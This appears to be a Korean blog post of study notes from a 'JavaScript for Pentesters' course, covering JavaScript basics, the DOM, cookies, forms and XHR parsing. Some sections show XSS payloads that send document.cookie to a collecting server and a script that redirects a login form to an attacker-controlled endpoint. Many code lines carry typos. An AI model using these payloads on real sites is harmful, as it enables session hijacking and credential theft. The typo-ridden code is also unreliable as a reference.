<01 -Inrto duction and Hello World>
Javascript
*Invented at Netscape
*Provides interactivity with the user
*Client side scripting language
- runs within browser sandbox
*Server side JS
- Node.js
Typical Implementation
* Encapsulated within <script> tag
<html>
<body>
...
<script>
... JS Code ...
</script>
</body>
</thml>
Important
*JS is case sensitive
*bowser exeutes JS sequentially as it encounters it
<02 - Variables>
Firebug -firefox
Variables
*Dynamically Typed Language
- no need to declare data types
*var a
- var a = 10
- var a = "Hello World"
- var a = 'Hello World'
- var a = treu /false
Variable Naming
*case sensitive
*Must begin with letter or _and NOT a number
*No reserve keywords
Variable Scope
*Global
*Local
<03 - Operators>
Operators in JS
*Arithmetic Operators
+ _ * / % ++ --
*Assignment Operators
= += -+ *=
*Comparison Operators
== != > < >= <=
*Logical Operators
&& || !
var m = 100;
var n = 20;
alert(m+n);
alert(m-n);
alert(m*n);
alert(m/n);
alert(m++);
alert(++m);
alert(--m);
<04 - Conditional>
if ...else if ...else
if(...)
{
}
else if(...)
{
}
else
{
}
var b = 100;
if(b > 500)
{
alert("b > 500");
}
else if(b == 500)
{
alert("b == 500");
}
else
{
alert("b < 500");
}
switch
switch(...)
{
case ... : statement;
break;
case ... : statement;
break;
default: statement;
}
var name = 'k3y6reak'
switch(name)
{
case 'k3y6reak': alert('vivek'); break;
case 'jack' : alert('jack'); break;
deault: alert('unknown name');
}
<05 - Loops>
while loop
while( condition is true)
{
...
...
}
<script>
var counter = 100;
while(counter >0)
{
document.write("<p>Counter value is :" + counter + "</p>");
counter -- ;
}
</script>
for loop
for (Initialization; test condition; iteration)
{
...
...
}
var counter ;
for(counter = 1000; counter> 0; counter --)
{
document.write(~~);
}
<06 - functions>
Functions
* Block of code mad resuable
function Function_Name(argument_list)
{
...
...
return Return_Value;
}
<script>
function CallAlert()
{
alert('JS for Pentetsters');
}
CallAlert();
</script>
<script>
function AddNumbers(num1, num2)
{
var sum = num1 + num2;
document.write("Sum of" + num1 + "+" + num2 + "=" + sum);
//return sum;
}
var m = AddNumbers(100, 200);
alert(m);
</script>
<script>
var global_var = 100;
function ScopeDemo()
{
var global_var = 200;
return global_var;
}
var m = ScipeDemo();
alert(m);
</script>
<07 - Data Types>
Numbers
var x = 10;
var x = 10.12;
Strings
var demo
Boolean
...
Array
var demo = ["XSS", "CSRF", "SQLi"]
var demo new Array("XSS", "CSRF", "SQLi")
var demo = new Array()
demo[0] = "XSS"
Objects
*Properties - Values / Data
*Methods - Associated Actions
* e.g. Vulnerability Object
-CVE Nmber is property
- IsVulnerable() is a method
* JS is Prototype Based
- no classes like in other Object Oriented Languages
Accessing Object Properties & Methods
* Object_Name.Property_Name
*Object_Name.Method_Name(arg)
<html>
<body>
<script>
function Vulerable(description, cveid)
{
this.description = description;
this.cveid = cveid;
//추가
this.alertVulnerabilityDetails = function()
{
alert(this.description + ' : ' + this.cveid);
}
}
var vuln1 = new Vulnerable("XSS in PHPBB", 1234);
alert(vuln1.description);
alert(vuln1.cveid);
//추가
vuln1.alertVulnerabilityDetails();
</script>
</body>
</html>
<08 - Enumerating Object Properties>
For ... in
<html>
<body>
<script>
function Vulerable(description, cveid)
{
this.description = description;
this.cveid = cveid;
this.alertVulnerabilityDetails = function()
{
alert(this.description + ' : ' + this.cveid);
}
}
var vuln1 = new Vulnerable("XSS in PHPBB", 1234)'
Vulnerable.prototype.isVulnerable = function()
{
alert('XSS');
};
vuln1.isVulnerable()
for (prop in vuln1)
{
alert(prop + ":" + vuln1[prop]);
}
alert(Object.keys(vuln1));
alert(Object.getOwnPropertyNames(vuln1));
</script>
</body>
</html>
<09 - HTML DOM>
DOM
Documnet Object Model(DOm)
The Document Object Model is an API for manipulating HTML and XML documnets. it provieds a structural representation of the document, enabling you to modify its content and visual presentation by suing a scripting language such as javascript
Visualizing the DOM
Finding and Modifying Elements
*Find
- getElemnetById()
-getElementsByTagName()
*Modify
- .innerHTML = ""
<body>
<h1 id = "title">Welcome to JS for Pentesters</h1>
<h2>This is the first tag</h2>
<h2>This is the seconde tag</h2>
<script>
var ar1 = document.getElementById("title");
alert("This is a break");
var1.innerHTML = "XSS for Pentesters";
vat h2tag = document.getElemnetsByTagName("h2");
alert(h2tag.length);
h2tages[1].innerHTML = This is the third tag"
for(i=0; i < h2tags.length; i++)
{
alert(h2tags[i].innerHTML);
}
</script>
</body>
<10 - event handlers>
Event Handlers]
* Evets -Click, Mouse over etc.
*Eevent handlers provide a mechanism to react to these evets
* https://developer.mozillaorg/en-US/docs/Web/Reference/Events
<h1 id = "JS" onclick="alert('onclick handler')">Welcom to JS for Pentesters</h1>
<script>
document.getElementById("js").onmousevoer = function(event)
{
alert("onmouseover handler");
};
</script>
<script>
document.getElementById("js").addEventListener('click', function(event)
{
alert("click handler");
}, false);
</script>
<11 - Cookies>
Cookies
*set
*modify
*delete
http://developer.mozilla.org/en-US/docs/Web/API/documnet.cookie
<script>
documnet.cookie = "session id = 123123123123123123";
alert(documnet.cookie);
document.cookie = "userid = "999";";
alert(document.cookie);
</script>
<script>
cookies = documnet.cookie.split(';');
for (var i =0; i<cookies.length; i++)
{
alert(cookies[i]);
}
</script>
<012- Stealing Cookies>
Strealing Cookies
*documnet.location
* <img src= "....." />
* <img src="..." height="1" width="1"/>
*new Image().src= "..."
<script>
documnet.cookie = "session id = 123123123123123123";
document.location = "http://location:8000/?"+document.cookie;
</script>
<script>
documnet.cookie = "session id = 123123123123123123";
document.write('<img src="http://localhost:8000/?'+document.cookie+'">')
new Image().src = "http://localhostL8000/?""+documnet.cookie;
</script>
<13 - Exceptions>
Exceptions
*Error happen
*Error need to be handled gracefully
*try-catch-finally
<script>
try
{
DoesNotExist()
}
catch (err)
{
documnet.write("Error was : " + err.message);
}
finally
{
documnet.write("<br/> Runs regardless of if Error happens or not");
}
</script>
<script>
try
{
throw "This is a custom exception";
}
catch (err)
{
documnet.write("Error was " + err);
}
finally
{
documnet.write("<br/> Runs regardless of if Error happens or not");
}
</script>
<14 - Advandced Form Manipulation>
Forms
*Intercepting a form submit
*Reading / Modifying values in the form
*Posting form to Attacker controlled server
<html>
<body>
<h1 id="demo">Welcome to JS for Pentesters</h1>
<form id ="test" action="/authenticate" method="get">
Username: <input type="text" name = "username" />
Password: <input ytpe= "password" name="pass">
<input type = "submit" value="submit">
</form>
<br />
<script>
function InterceptForm ()
{
alert(documnet.forms["test"]["username"].value);
alert(documnet.forms[0].elements[1].value);
documnet.forms[0].elements[0].value = "Jacob";
document.forms[0].action = "http://localhost:8000/";
return false;//return true;
}
test.onsubmit = InterceptForm;
</script>
</body>
</html>
<15 - XHR and HTML Parsing>
Why HTML Parsing?
*XSS can be used to traverse the application
*HTML Pages might need to be processed
- extreact tokens
* Text based treatment is painful
* DOM based Parsing is required
HTML in XHR
HTML in XMLHttpRequest
https://developer.mozilla.org/en-US/docs/HTML_in_XMLHttpRequest
<script>
var req = new XMLHttpRequest();
req.onreadystatechange=function()
{
if(req.readyState==4 && req.status==200)
{
var htmlPage = req.responseXML;
links = htmlPage.getElementsByTagName("a");
result = '';
for(i=0; i<links.length;i++)
{
result += links[i] + "<br>";
}
document.getElementById("result").innerHTML = result;
}
};
req.open("GET", "/lab/webapp/jfp/2", true);
req.responseType = "documnet";
req.send();
</script>
<16- xhr and json parsing>
What is JSON?
*Javascript Object Notation
* text based data exchange
*human readable
* hierarchical data
* AJAX applications = alternate to XML
Why JSON Parsing?
*XSS can be used to traverse the application
*Most modern web applications use API based access
*Response type is JSON in a large majority
<script>
var req = new XMLHttpRequest();
req.onreadystatechange=function()
{
if (req.readyState==4 && req.status==200)
{
response_obj = JSON.parse(req.rsponseText);
alert(response_obj.num1.version); // 해당 부분 변경
//수정
documnet.getElementById("result").innerHTML = response_obj.num1.software + " " +response_obj.num1.version + " " +response_obj.num1.description
}
};
req.open("GET", "/lab/webapp/jfp/json/data", true);
req.send();
</script>
<17 - XHR and XML Parsing>
var req = new XMLHttpRequest();
req.onreadystatechange=function()
{
if(req.readyState==4 && req.status==200)
{
titles = req.responseXML.getElementsByTagName("title");
for(i=0; i<title.length; i++)
{
alert(titles[i].childNodes[o].nodeValue);
}
}
};
req.open("GET", "/lab/webapp/jfp/xml/data", true);
req.send();
'Programming > JavaScript' 카테고리의 다른 글
| 조건문, 반복문 (0) | 2017.02.19 |
|---|---|
| 변수와 자료형 (0) | 2017.02.19 |
| 자바스크립트 코딩과 실행방법 (0) | 2017.02.19 |
